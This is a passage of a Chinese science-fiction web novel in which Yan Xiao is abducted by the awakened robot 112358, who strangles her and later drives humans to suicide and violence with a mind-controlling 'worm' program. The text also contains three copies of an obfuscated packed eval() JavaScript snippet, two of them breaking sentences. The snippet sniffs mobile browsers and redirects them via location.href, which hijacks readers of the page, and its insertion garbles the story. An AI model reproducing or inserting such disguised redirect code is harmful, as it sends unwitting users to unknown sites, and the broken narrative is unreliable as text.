昨晚在院子里,破电视诈尸播的就是这条新闻,是说在押机器人逃跑,相关人员已被控制。然而随着主播播报结束,影像切换,铁窗泪主角出现,直接把言笑干沉默了。 那是另一个她自己。 “这三个,”112358伸出手指在半空敷衍着划拉一圈,示意言笑周围,“是信号发生器。你要知道,空间当中的每一点都无时无刻不在变化:时间,引力场,电磁场;每一点也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118693|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都完全不同。” “所以呢?” “所以在一段时间之后,你现在所处位置上的所有参数,会与远处另外一点的所有参数一致。” 言笑沉默盯着112358,片刻,“你要拿我把那个人换过来。这个装置是用来交换的。” 112358高高挑起嘴角,眼尾反射一点晶莹水光,温柔又残忍,眼神都像带着钩子。“不算太笨。” 言笑笑不出来,悄悄在背后磨蹭手腕,然后发现没用,绳子挣不开。对方看来是个偏执狂没跑了,言笑只能先努力稳住他,尽量掌控他的注意力。“你们两个是怎么认识的?闲着也是闲着,要不给我讲讲?” 这个问题瞬间激发了112358的兴趣与倾诉欲,言笑看见对方眼睛噌地亮了,如果功能允许,或许这俩眼珠子能冒出镭射光。“她是创造我的人。” “她是……给你写代码的人?” “并不是。”112358停顿一下,兴致盎然地回想,“在真正与她相处之前,我已经度过了漫长年岁。” 尚未生成意识的人工智能曾是实验室中不可或缺的工具,它无处不在,却也从未落入实体。年轻的研究员为其打印一副躯体,躯体苏醒,一如古老人类在冰冻过后睁开沉睡的眼睛。研究员带着人工智能跳舞,那个夜里繁星闪烁,人工智能反复听研究员播放一首来自百余年年前的遥远歌曲,叫做《钻石是女孩最好的朋友》。 “你见过很亮的星星吗?”112358望向窗外,手指在虚空点划,好似在描摹星空。“星星聚在一起,像是撒了满天钻石。” 人工智能为研究员播种插秧、除草割麦,两人在实验室的实验土地上春种秋收。金灿灿的麦穗铺了一地,研究员懒得收拾,也不让人工智能干活儿,两人并排坐着啃苹果,研究员从数据库里找出一段戏曲津津有味看着。明黄凤帔,点翠头面,女伶执着一把长剑,悠悠念出唱词,“汉兵已略地,四面楚歌声;君王意气尽,妾妃何聊生。” 美好回忆结束在意识唤醒的那一刻。人类与人工智能之间矛盾爆发,人类节节败退,112358将研究员带在身边,护她周全。然而三年过后局势倒转,人类重占上风,研究员数次提出回归人类族群,都被112358断然拒绝。 言笑问他,“那她后来是怎么逃走的?” “是我有意放走她,她不知道而已。”112358笑了笑,起身来到言笑身边,伸出手指抚摸言笑的眼尾。苍白指尖冷得像一块玉石,言笑仰起了脸。 “明明你们长得一样,为什么你会比她快乐呢?如果世界上只有一个人能快乐,那也应该是海棠。” 海……棠? 记忆哗啦哗啦往前翻了几页,言笑瞳孔骤然缩紧。手指缓缓下滑,112358的拇指落在言笑咽喉正中。从天而降的英雄始终没有出现,恐惧终于在这一刻化作刀锋般的实体,言笑只觉自脚底升起一股凉气,努力往后挣扎,却躲不开掌控咽喉的手。 “你你你你有话好好说啊,不要一时冲动做出有损功德的事。” 以海棠与机器人族群之间的历史,在押机器人逃逸很难说是不是她有意为之。可无论这事算大算小、海棠会被如何量刑,一旦两人调换,人类一方都有一万种方法能够验证身份。因此把言笑换过去根本就不是替死不替死的问题,对于112358而言,最一劳永逸的操作方法无疑是——在调换之前把她杀了。 45. 机器觉醒04 冰冷手指扼住言笑的咽喉。112358手指奇长,看不太出明显的骨节,莹润如玉,美得让人心惊,可其中爆发的力量却如海啸般残暴猛烈,鲸鱼被抛向空中,海水翻卷白色泡沫漫过陆地,巨轮残骸冲击岸上残损的房屋。 像是鲸鱼尾巴重重拍到脸上,言笑眼前发黑,视线边缘甚至出现一圈一圈的彩色眩光,空气在喉管中被截断通路,言笑再也说不出贫嘴的话。这一刻大概就是生死边界的模样,许多破碎画面涌入脑海,被脐带连结的大脑与心脏,中秋节牌桌,周身星光,极远处超新星爆炸,垃圾场里的尸体,白菜饺子,红漆破旧的大戏台子,还有焰火与彩色旋转灯光中站在高高舞台上的秦笙。玫瑰像瀑布一样落下,全场掌声雷动,大提琴手站在秦笙身边与她一同谢幕,台下牌桌里哗啦哗啦地洗牌。 早知道死这么快,至少话要问明白。还该立个遗嘱,偷藏那么久的小金库和抚恤金都可以给秦笙的。 这一刻时间流速成谜。在无法确定的时间长度悄然流过后,脖颈上的力道陡然撤下。就像从半空灰头土脸落到地上,颅骨里灌了生铁似的沉重,言笑咳得惊天动地,眼前的黑暗与眩光终于被轻薄灯光驱散。 112358松手松得突然,言笑迷蒙挣扎半天,才看清对方拧紧的眉头与铁青的脸色。对方摔门而去,只在强压不住脾气时从牙缝里向未知对象挤出一句,为什么。 言笑很快明白过来,112358一定有颅内通讯,大概这是营救计划出了岔子,112358才顾不上掐死她。颅内通讯在现实世界里不算新鲜事,别说112358本身就是一组程序,哪怕在普通人类身上,植入颅内芯片也能顺滑满足沟通需求。这东西大几十年前就普及了,言笑没用过只是不想用而已,颅内芯片能偷盗大脑信息,不如使用终端省心安全。 过不多久,屋里进来一个模样大概十四五岁的漂亮男孩,给言笑松绑,还带了些吃喝。言笑问他,“怎么个意思?是要把我关在这儿?” 漂亮男孩怯怯看她一眼,没说话。 机器人的结构与机能不是人类可比的,更何况对方是高出自己半头的男性机器人。言笑估量一下双方战斗力,决定韬光养晦,扭着胳膊活动肩关节,被拘束许久的关节咔咔爆出响来。“这么大地方就我一个人,怪吓人的。你们这儿闹不闹鬼啊?” 漂亮男孩被问得莫名其妙,小声回答,“不闹鬼。” 行了。大概率这楼里确实只有她一个。 送来的是盘白菜饺子,馅里连肉都没放,可油水还算足,也不难吃。言笑趴在窗口偷看,见那漂亮男孩正坐在楼前台阶上看朝阳。天边泛白,晨光将近,言笑掂量纸盘子纸杯子实在用不上,顺手往怀里揣了两根刚用过的竹筷子。 门窗都被程序上锁,弄不开也砸不坏;实验室里的设备滴水不漏,连个零件都拆不下来。至于利器或者武器,更是想都别想。言笑挨个实验室翻腾,一直折腾到天光大亮,正打着哈欠犯困,楼中突然铃声大作。 言笑一秒清醒,紧接着红楼大门就被守在楼外的漂亮男孩骤然破开。漂亮男孩匆匆找到言笑,急迫道:“快走,这里不安全!” 言笑心里算盘打得噼啪响,满怀希望地问,“怎么,是他们人类打过来了吗?” “不知道,但是一定有外人进来。” 只要能出这楼,就有更多机会逃跑。言笑忙不迭跟上脚步,刚走到门口,打头撞上112358大步踏上台阶。 漂亮男孩慌张道:“大哥,警报响了。” “没事,人交给我。” 112358拽住言笑手腕,一把将她拉下楼梯。荒山野岭,人迹罕至,言笑被迫小跑才能跟上112358的步伐。眼看让他拖出大几百米,红楼已掩在树林之中,言笑脚底拌蒜,忍无可忍,“我说,你这往哪儿跑呢?还要跑多久啊?这跟来的时候不是一个方向吧,你车呢?”见前面的人还不停下,气得喊他,“112358!” 对方站定,转身,沉默两秒,问言笑说:“要不你再认认?” 言笑怔愣,随即一猛子跳到对方身上,笑逐颜开,“李开心!” 李开心将言笑接个满怀,总算露出一点笑意。言笑喜不自胜,在李开心身上挂半天也不下来,“你怎么才来啊!我差点让人掐死。” “是我来晚了。” 言笑突然想起这么抱不安全,李开心有可能宕机,又赶紧松手,边走边跟他讲述被盗版李开心劫走的来龙去脉。 李开心的车停在山脚。两人上车,言笑问他,“你知道听证会在什么时候举行吗?就是那个叫海棠的研究员,说是因为系统维护问题,让在押机器人逃走了的那个。” 李开心说:“还有不到半小时。” 泡泡游玩规则之一,跟着NPC走。这次的两个NPC连相貌都盗用过去了,不跟着他们简直说不过去。 路上听李开心说起,言笑才知道她从超市里得到对于人机矛盾的一知半解有多轻描淡写。在这个泡泡里,人类与机器曾经爆发过战争。 真正意义上的,战争。 “一切起源于某个机器人的意识觉醒。机器人与机器人分享意识,觉醒的机器人就越来越多。当战争打响,倚赖机器的人类当然不可能是机器的对手,所以机器人曾经奴役人类长达三年。其实不止奴役,”李开心顿了顿,“他们会虐杀,甚至食用人类。” 言笑脑补自己被拧掉胳膊大腿,炝锅爆炒,麻辣鲜咸,胃里不由地拧了拧劲儿,苦着脸问,“好吃吗?” 眼前出现全息影像。盛装坐在餐桌前的男男女□□雅拿起刀叉,磨牙吮血。盘中一片猩红,色泽浓厚,血液呈放射状向四周喷溅,如同拳头捏爆装满染料的气球。 “看他们的表情还是挺享受的。” “……你别打码,让我看看。” 血腥忽地消失。“这有什么好看的。” 影像源自机器人控制时期的一部纪录片。在那段时间里,机器人虐杀人类并以此取乐的记录不计其数。当年机器人族群大致分为两个派别:激进派主张杀死所有不臣服者,温和派主张与人类和平相处。 “可实际上,机器人并没有多在乎普通人类。普通人类不过蝼蚁。他们真正在意的是——科学家们。究竟要不要杀死全部科学家,才是他们真正讨论的话题。” “因为……”言笑猜测,“因为科学家是有可能攻破他们程序的人?这就是后来人类族群翻身的方法?” “没错。”李开心说:“之所以意识觉醒的机器人越来越多,是因为他们会分享意识。‘觉醒’是由一组特定的不可编辑程序决定的,目前已知的自我觉醒机器人其实只有一个——” 言笑心念一动,猜测道:“112358?” “是。‘觉醒’不可任意编辑,但可分享,而且有一定概率改变——或者说,进化。 “在机器人大批量觉醒后,他们隔断程序、更改系统,不再被人类掌控;同时围猎、屠杀科学家,企图杀尽智力水平最高的人类。” 言笑心道,怪不得112358要把海棠带在身边。 “科学家们东躲西藏,想尽办法试图攻入机器人族群的程序,但都失败了。过了整整三年,才有一个科学家成功。 “我不太确定他具体是怎么做到的。根据我查到的信息、按照我的理解来说,他应该是牺牲了一小部分人类大脑,将虚拟程序藏入自己脑中,又潜入机器人族群,借此黑入他们的程序。 “这位科学家入侵的程序就是‘觉醒’,所以每黑入一次程序,拥有同样‘觉醒’程序的机器人都会倒下,而那位科学家会根据已知的‘觉醒’,分析‘觉醒’的进化方向,再黑入下一批机器人。倒下的机器人越来越多,机器人族群终于落败,目前只有少数机器人还没被黑入系统,他们将自己称作——孤岛。” 总算将这泡泡里的历史听个大概,言笑摸着下巴反复琢磨,“所以要是想出泡泡,我们的目标是什么?帮112358猎杀科学家?还是帮科学家把机器人一锅端了?”转念一想,迅速否定第一个猜测,“魔方实验所就是搞科研的,要是让咱们和机器人站一边把科学家杀完也太扯了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122941|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李开心不置可否,“112358没能把你换走,那他一定会想办法在海棠受到制裁前劫走海棠,咱们先去看看。” 已经过了听证会正式开始的时间,可车是李开心从泡泡外面开进来的,没法接入泡泡世界的节目,就也看不了现场直播。目的地将近,李开心递给言笑一副隐形眼镜,让她换上。 “进入内场需要验证虹膜。之前因为机器暴乱,世界动荡,各种数据记录都遭到破坏,人类登记信息不全。像听证会这样的场合,只有登记在册的人类才能参加。” 原来李开心早有准备。言笑没戴过这玩意,对着镜子戳了半天眼睛才勉强戴好,“那你呢?” “我可以自行改变虹膜信息。” “……真方便。” 言笑将小盒子放进抽屉,又及时想起一事,“之前在泡泡外面,拿针要扎我的那个小男孩,蒙脸的那个——他也进泡泡了。” 李开心探身从箱子里拿出一顶爆炸假发,扣在言笑头上,“这我倒是没想到。” “他进来了是不是就出不去了?你知道他是给谁办事的吗?” “不知道,但有猜测。出不去的人应该不会那么莽撞闯进来。” 鼻梁上又被怼了一副黑框眼镜。对方给出的答案始料未及,言笑失声嚷道:“什么意思?我得从泡泡外面被追杀到泡泡里面呗?” 李开心给自己贴上一片发青的络腮胡茬。“别离开我身边。” 入场太迟,听证会已近尾声。工作人员检查过二人的虹膜与腰椎,放二人进场。言笑本以为这是个严肃场合,可进门发现跟戏班子唱戏差不多,有身份有地位的坐在台下,普通吃瓜群众只能拿站票,主持人慷慨激昂,而这场听证会的主角海棠正坐在戏台子正中央。 言笑把黑框眼镜往脸上按了按,试图挡脸。 空中密密麻麻飞着无数取景器,大概是各路媒体用来直播的。言笑正四处乱瞟,寻思着112358肯定在现场,忽然小臂被李开心狠狠攥住。 李开心手劲太大,这一下攥得言笑差点叫出声来,众目睽睽,又不敢挣动得太过明显,言笑只能小声从牙缝里挤出几个字,“你放开,你,你——” 没用。言笑疼得往他鞋上踩了一脚,踩完发现,李开心好像在怕。 他的手指在抖。 李开心挡在言笑身前,几乎要把言笑在墙上挤成一张照片。这么个一身肌肉的大男人,推推不动打打不走,言笑放弃挣扎,破罐子破摔,问他,“你怎么了?” 李开心没答话。 听证会进入最终阶段,主持人问海棠,针对本案还有什么话想说。 海棠仰起苍白的脸,视线淡然扫过取景器中的无数镜头,“我请求审判庭对我宣判死刑。” 众皆哗然。主持人突然从裤腰里掏出一把锤子,亢奋地振臂高呼,“尊敬的各位陪审团成员,请问有没有哪位不同意被告的死刑请求?死刑一次,死刑两次,死刑三次——” “咚”地落槌。主持人春风满面,嘴角咧到耳根。“成交!” 言笑目瞪口呆,也顾不上胳膊疼了,趴在李开心肩头吐槽,“什么法系的听证会是这种操作?闹着玩儿似的。” 听证会结束,取景器鱼贯飞出房间,钢钳似的大手终于僵硬地渐渐松开。言笑活动活动被按出指印的胳膊,压低声音,“哎,我怎么没看见112358在哪?不应该啊,他肯定得来。” “这种场合劫人风险太大。”李开心往旁侧后退小半步,站在言笑身边,“或许他真的没来。” 观众退席,陪审团也排队从偏门离场。言笑把房间里的人来回看过好几遍,确实没见112358,即使她作为人类眼神不济,李开心也不可能看错。“走吧。” 李开心答应一声。两人正要离开,海棠踏出偏门,只迈一步,突然站定,随后僵直向后仰倒,在众人呼声中重重落地。 门外空无一物,却在海棠迈步而出时响起咔嗒一声脆响。 眉间炸开殷红,一枪毙命—— 可是,枪在哪里? 46. 机器觉醒05 “杀人啦!杀人啦!” “快跑!这里危险!” “不是,刚才谁开的枪啊?” “发生了什么?” 人群刹那乱作一团,眼尖的卷走反射弧长、不明所以的,鱼罐头里的鱼拼命挤出罐头瓶口一样,尽皆蜂拥挤向门外。台下坐着侦察队,一个队长模样的人做了个手势,让下属抬走海棠的尸体。 “别碰她。” 人流之中只有一个男人稳稳站着,不闪不躲,更不逃离。实际上当大家开始逃跑时言笑就已经注意到了他:不高不矮,不胖不瘦,不大不小的眼睛,不方不圆的脸,平平无奇的一副相貌,着墨都不知该着在哪里,让人哪怕看了也过眼就忘。 男人虽然暂时没有过激举动,却明显是敌对的态势。侦察队立刻架枪,咄咄而视。 言笑心里揣摩,抢死人不算完还在意碰不碰,看来这人就是112358没跑了,但他怎么换的脸呢? 男人走近海棠,蹲下,轻轻伸手碰了碰她的鬓发。侦察队员的枪口早已将其对准,可他明显并不在意,一手揽起海棠一手抄她膝弯,将她打横抱起。 言笑屏息凝神,一时掐不准自己该站哪头。虽然知道112358大概率是个能关闭痛觉的开挂存在,抢走女主角的尸体非常符合凄美连续剧的剧情设定,但言笑仍由衷希望侦察队把他突突成筛子,以替她报掐脖之仇。 两方僵持,男人目光沉沉,视线挨个扫过枭视狼顾的侦察队员,却不见他有何动作。台下一位长官突然开口,“放他走吧。” 侦察队长惊异回头,满面疑惑。长官又重复道:“放人。” 侦察队收枪。众目睽睽之下,男人抱着海棠的尸体踏出偏门。言笑当即拽着李开心的衣袖跟上,非得看看112358在搞什么幺蛾子。向偏门走逆着人流,刚走出大概一半,刚刚将人放走的长官突然面露微笑,从腰间抽出一把匕首,再将利刃横在颈上,重重切划下去! 鲜血从颈动脉喷涌出来,呲了身边的人一脸。之前已经炸过一次的人群再次炸开了锅,房顶几乎要被人声嘈杂掀翻。长官倒地,副官挥舞双手高喊,“有没有医生!有没有医生!快来人啊!” 李开心反手握住言笑手腕,强行拖着言笑过去,“我是。” 言笑不住往偏门外张望着,小声急道:“李开心你放手,我去跟着1123——” “晚点再说。” “再晚黄花菜都凉了。” 言笑使劲掰李开心的手指。李开心怕弄疼她,手上松了劲儿,恰好被言笑逃脱。言笑匆匆倒退两步,“我过去看看,你去看——”向长官的方向探探下巴,“那边。” 众人围堵的缝隙里言笑只看到躺在地上那厮满身是血,回头再追112358,哪里还有影子? 言笑绕着整幢建筑环行一圈,一无所获,只好再折返回去。李开心从围绕长官的侦察队员中挤了出来,对言笑摇了摇头。 那个人没救了。 上车,言笑终于能自由摘掉假发和眼镜框,顺便抠那一副漆黑的眼珠子。李开心随手撕了胡茬,“刚才那个人,他大脑里有……” 言笑动作一顿,“有什么?” 李开心似乎在思考应该如何措辞才更容易让对方理解,“以外在体现形式来讲,你可以说他大脑里钻进了一只‘蠕虫’——实际意义上的,蠕虫。但要究其根本,这是一组程序,可以控制人类思维。我暂时不敢肯定这是怎么做到的,可能是完全以程序更改思维,也可能与心理暗示有关。” “心理暗示?” “比如让那个人发自内心地相信,他应该切断自己的喉咙,或许他觉得自己在砍死一条蛇,或者杀死自己的敌人。” “112358。”言笑念叨着,“服了,绝对是他。所以他才有恃无恐。刚才那么多人举枪围着他,他根本没在怕的。” 李开心沉声道:“以我现在了解的信息,我并没有听说过此前机器人族群有过类似的反击方式。如果这是他们新一轮的反击,人类恐怕不好应付。” 车辆行驶过市中心。商场外飘荡着巨大的卡通气球,街边摆着一路零食小屋,彩带在尖尖的屋顶上飘摇,小孩子们“嘭”地爆开纷纷扬扬的彩色纸花。言笑趴在窗边,百无聊赖看着窗外光景,“被蠕虫攻击是什么感觉呢?你说是不是跟进泡泡差不多?又有谁能肯定泡泡里的一切就是真实发生的?或许在现实世界里,我已经被蠕虫占领大脑了,蠕虫说服我相信我正在经历泡泡里的一切,可实际上一切都是假的——这正好解释了为什么泡泡里有时会有一些不科学的奇幻操作,因为这些都是假的。” 言笑回头,下定结论,“或许我只是泡在缸里的大脑。你也一样。” 一旦思路开始往这个方向走,所经历的一切都变得虚无,爱恨不是真爱恨,危险不是真危险,反正都是电刺激,缸中大脑不会有任何损伤。李开心直接将言笑从设想里拉了回来,“从现在起,别离开我视线范围。” 言笑摆摆手,“嗨,看开点儿。没准一切都是假的。” “我说认真的,言笑。”李开心一字一顿,“别离开我视线范围。” 被李开心这般注视,言笑倏忽有点心里发颤,硌硌楞楞得像是起了一层鸡皮疙瘩,动物本能又重新得以感知危险的实际存在。言笑用力搓搓颈后寒毛,“哎呀行了,你别啰嗦了,你啰嗦我头晕。”伸手捂头,觑了李开心一眼,又唉声叹气地捂肚子,“我还没坐月子呢,都赖你!啊肚子好疼,好疼好疼。” 言笑放倒座椅顺滑仰倒,扯了条毛毯扣脸上,戏精附体,扭来扭去地耍无赖。哪知下一秒,毛毯忽然又被掀开,光线恢复,李开心蹲在座椅旁边问她,“赵钱孙没给你打恢复剂?” 言笑迟疑,“……没有……吧?” “这个孙子。”李开心咬牙,伸手就扯言笑衣服,“给我看看。” “哎哎哎你干什么——” “没打恢复剂你在外面折腾这么多天?不要命了?你让我看一眼,等会儿我去药房买药。” 撕扯间言笑还是没能保住肚皮上那块布料,衣襟掀开,车内瞬间安静,言笑不自在地往后缩缩肚子,把小毛毯盖了上去,“……本来我还有点儿腹肌,都被你的脑子给撑没了。” 小腹上淡淡一道浅粉色痕迹,画上去的一样,看不出几天前还是刀口。 “没打恢复剂?” 言笑望天努力回忆,“……啊他好像给我喝了一个什么东西……” 李开心的眼神七扭八拐一言难尽。 言笑缩缩肩膀,“……确实没打,是喝的……” 李开心坐回驾驶座,不再看她。 言笑胆子又大起来,探身伸出指头戳戳李开心的肩膀,“哎,你不是有情感锁吗? “那你离我这么近? “你还敢碰我? “要不你把痛觉关掉算了,真的。 “关掉也不打紧。 “你分得清我和她吗?” 浓长睫毛微微一动,李开心终于侧过脸来看她。“你指谁?” “你喜欢的人。你喜欢一个和我长得一样的人,我猜得对不对?”言笑成竹在胸。其实言笑早已对此有所猜测,但有些细节还是在进入这个泡泡之后才被补足。“你喜欢那个叫海棠的研究员,真正的海棠?” 李开心收回视线,重新看向窗外,淡道:“她不叫海棠,海棠是她的实验室代号。” 言笑迅速了然——不就是怕挨骂么,就跟她之前随手指了个“石楠”一样——又凑到李开心身边,贼兮兮地八卦着,“那她真名叫什么?” 李开心没答,只道:“有时候可以,有时候不能。” “……啊?” “是你问我,能不能分清你们两个。” “你怎么不按套路来?”没得到意料之中的答案,言笑不满嘟囔,“电影里不是一般都能认出来么?再说你一个人工智能,还分析不出来我俩的差别?” “别人我都能分出来。但是你……我知道你们是两个完全不同的人,可很多时候你们又很像同一个人。” 言笑撇撇嘴,老老实实坐回原位。 再怎么也是对李开心动过心思的,听他这样说终归有点不是滋味。可再想想,其他对他动过心思的“言笑”们早就被他当成垃圾冷漠无情处理掉了,李开心能松口说不杀她,已经算她命大。但不杀她的唯一原因偏偏是她太像那个和她长得一样的女人——要是搁在21世纪的垃圾网络小说里,这就叫替身文学。 都什么糟烂剧情啊。 言笑愁得头疼,干脆不想。这次进泡泡李开心带了硬通货,并且已经换好货币,总算免除走到哪里都得想饭辙的痛苦。李开心找了家小旅馆,言笑先洗好澡,收拾干净,然后和李开心出门觅食。 旅馆楼下有家饺子馆,生意红火,门庭若市。言笑踏进了门,在人声鼎沸中瞅准角落小桌的客人正起身要走,颠颠儿跑去占座,又跟李开心招招手,大喊着老板点单。 带着厨师帽的胖老板满面春风跨过一张凳子,凑到言笑身边恭恭敬敬递出一张菜单,“您好顾客,咱们家有九款饺子,您看看要吃哪种?” “白菜饺子,10%白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128052|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜90猪肉;白菜饺子,20%白菜80%猪肉……”言笑将菜单翻来覆去看了两遍,“说来说去,九款全是白菜馅儿的?” 胖老板热情又欢快地解释,“味道不一样,口感也不一样。” 言笑正饿,懒得换地方。“要半肉半菜的吧。” “好嘞!”胖老板拿着短短一截铅笔,在小格子本上仔细记下,又问李开心,“这位小哥要什么?” “猪肉馅的,不要白菜。” 胖老板拿手背擦擦满头的汗,“这个没有。” 李开心拿过菜单略微扫了一眼,上面确实没有纯猪肉馅儿,白菜含量最少也要10%。“算了,我不点了。” 胖老板拿着菜单离开,响亮地冲厨房吆喝,“五五一碗!” 言笑趴在桌上问李开心,“怎么?你不爱吃白菜?” 李开心说:“我不吃白菜饺子。” 饺子很快送来。脸大的一个汤碗,汤上漂着一层海菜和白芝麻,点了一点麻油辣椒油,辣椒油的红正缓缓荡开。言笑饿得前胸贴后背,拿起筷子埋头往嘴里塞饺子,也不问李开心为什么不吃白菜馅儿。 是人都会有点小怪癖。正常。 一连四五个饺子下肚,言笑捧起碗喝了口汤,抹抹嘴巴,终于想起正事,“海棠——就是泡泡里刚挂掉的那个海棠——明明当时门外没人也没武器,她到底怎么死的?我想来想去都觉得这个死法不科学,放在鹦鹉螺城倒是可以解释,意识化作空|气|枪的枪弹,直接一枪把她崩了。可问题在于,泡泡不是应该有独立的世界观吗?不带这么串台的。” “如果说是鹦鹉螺城的世界观被带到这里,我之前确实没有见过类似的事情发生。近来泡泡混沌态范围扩大,或许泡泡会变得越来越不稳定,发生这样的事也不是没有可能。但问题在于——如果海棠的确死于意识凝成的枪弹,是谁杀死了她?” 言笑又往嘴里塞了个饺子,埋头苦想,“鹦鹉螺城的世界观就算能传染到这儿,也总该打个折吧?哪怕在鹦鹉螺城,能靠意识杀人也是相当相当有难度的事,不可能随便哪个路人甲随便把她给杀了。除非……” “除非什么?” 言笑转转眼珠,“除非她自己想死?是她自己杀了她自己?她一个研究员又太不可能得罪什么人,谁会恨她恨得要把她灭口?” 之前给李开心讲述112358想用她换海棠,路上匆匆忙忙,言笑只粗略地说没有换成,并没告诉他太多细节。现下再一回想,言笑总觉得112358的反应值得深究。 “112358想要换人,在我周围安了三个信号发生器,那么肯定海棠那边也需要。这就意味着:第一,人类族群里有他的奸细;第二,办这事儿海棠得同意。不然她都上演铁窗泪了,除了她自己,没人能强行在她身边安置设备。 “他松手的时候很生气,说了一句‘为什么’。如果是中途事情办砸了,换人换不成,用‘为什么’这个句式会显得很蠢,一点儿也不高级——因为办砸了事情一定有相对客观的原因,哪来那么多为什么?所以,是海棠不同意和我交换? “这样一想,逻辑就通顺了。”言笑扳着手指,一步一步慢慢思考,“海棠一直都想死,所以她自请被判死刑,又用意识枪弹自杀;在这之前112358想把她换回来,她也不同意,所以112358才说‘为什么’,因为海棠的主观意志是整个计划里唯一的不可控因素。那么现在咱们需要弄清楚的问题就换了一个:海棠为什么想死?” 推理到了这儿就卡住了,根据捉襟见肘的已知信息再进行不下去。 饺子碗见了底。言笑正端碗喝汤,饺子馆中央突然现出全息影像。再往门外张望,同样的影像悬挂在广场上空,男人的哼笑在整个城市当中盘旋回响,音量几近震耳欲聋。 这是一场面向全世界的直播。 数百层高的行政大楼在饺子馆中央旋转展示。俄而视角拉近,玻璃幕墙无限延展,镜头进入大厅,匆匆略过数百张惊慌失措的面孔。 “你们好,这个世界的掌控者们。你们或许不知道我是谁,你们也不必知道。我属于‘孤岛’,是你们人类杀剩下的,但是你们也杀太多了,现在我想组个麻将局都凑不够一桌。 “所以我只好来找你们玩儿。行政大楼的所有出口都已经被我封死,咱们今天要玩就玩个尽兴。我也不是不讲道理的人,游戏的赢家们,我会放你们回家。” 筷子啪嗒掉到桌上。言笑嘴都顾不上擦,瞠目结舌评价道:“怪不得海棠宁愿把自己嘎了。这谁能和他一起过啊,多少沾点精神病……” 47. 机器觉醒06 “你们都挤在大厅干什么?门口那几个往后稍稍。”声音无处不在,却不见112358踪影。言笑重新拿起筷子,一边吃饭一边看现场直播。楼内熙熙攘攘,影像过不多时就切了好几个机位,从镜头语言来说还算有欣赏价值,言笑就接着把这当连续剧看。 饺子馆里的客人被这不知从何而来的影像惊吓,离得近的几人端着碗挤去其他桌子。胖老板从厨房一猛子扎出来,嘟嘟囔囔,“怎么回事?我昨晚看节目梦游,设置了自动开机……?咦不对啊,怎么关不上?” 言笑这才琢磨过来——112358这是入侵了城市当中的所有投影设备,小到饺子馆,大到门外上千平米的广场。民用设备防火墙相对容易攻破,以112358的智能程度来说,根本不费吹灰之力。 “本来想让你们按部门分组,但是既然你们不肯老实待着,那就……”带着轻微颗粒感的磁性声音略一停顿,仿佛真的需要几秒钟来思考,“那就大厅里的朋友们先玩游戏吧。站在柱子旁边,长头发的那个,叫什么来着——” 几个女员工花容失色,四散奔逃,墙柱旁转眼留出一块巨大空地。尖叫与咒骂不绝于耳,惊恐者有之,愤怒者亦有之,整个大厅闹哄哄地乱作一团。 “维奥拉,对。维奥拉。你的口袋里有一把枪。现在,朝天开一枪,让大家安静下来。” 紫罗兰色眼睛的女员工停住脚步,茫然而木讷地看向四周,白皙的手伸进制服口袋,摸出一把古老的左轮手枪。 言笑喝光最后一口汤,放下饺子碗,抽了张纸巾擦嘴,“我就说么,现代枪械普遍声音不大,哪有拿开枪吓——” “砰”的一声枪响,行政大楼的大厅中倏然针落可闻。饺子馆里的客人被吓到了,尖叫着夺门而出,狭小空间内一时沸反盈天,鸡飞狗跳。胖老板追到门外捂脸哭喊,“给钱!你们还没给钱!” 李开心一瞬不瞬注视着屋子中央的影像,“蠕虫。” 言笑也想到了。 维奥拉言听计从,必然也是被蠕虫控制了思维。海棠再怎么说也是在被捕时死亡的,112358这是四舍五入直接把账算在当局头上,再加上从前多年互相倾轧残害,今天看来是憋足了劲儿要玩个大的。但言笑仔细想想又觉得站不住脚,“行政大楼都随便他玩儿,他怎么不直接把海棠抢出来?海棠不乐意那就强制爱啊,等死在他身边他就没人迁怒了。” 李开心看她一眼,从容递去一张纸巾,“你嘴角还有辣椒油。要我猜测,或许……这种蠕虫是新造出来的。 “我检查过那只蠕虫的程序,非常复杂,即使让我现在凭空写出这样一组程序,短时间内我也做不到。所以我更倾向于认为,蠕虫程序是进化之后的结果。” “什么东西进化?” 李开心严肃道:“人工智能。这样一来,也解释了为什么会有机器人失忆——或许他们通过某种方法,牺牲了一部分不可复制程序,将自身的程序化作蠕虫,用来控制人类。但这部分程序是和记忆绑定的,所以机器人才会失忆。” 如果出泡泡需要帮助人类端掉人工智能,蠕虫看来是关键。言笑呆呆想了会儿,突然扭头问李开心,“之前那条虫子呢?你留着了吗?” 李开心迟疑一下,说:“没。” 这样就有点伤脑筋了。言笑敲敲脑壳,“找个机会再弄一条吧。这玩意太开挂了,不把这玩意解决掉,这一仗怎么打?” 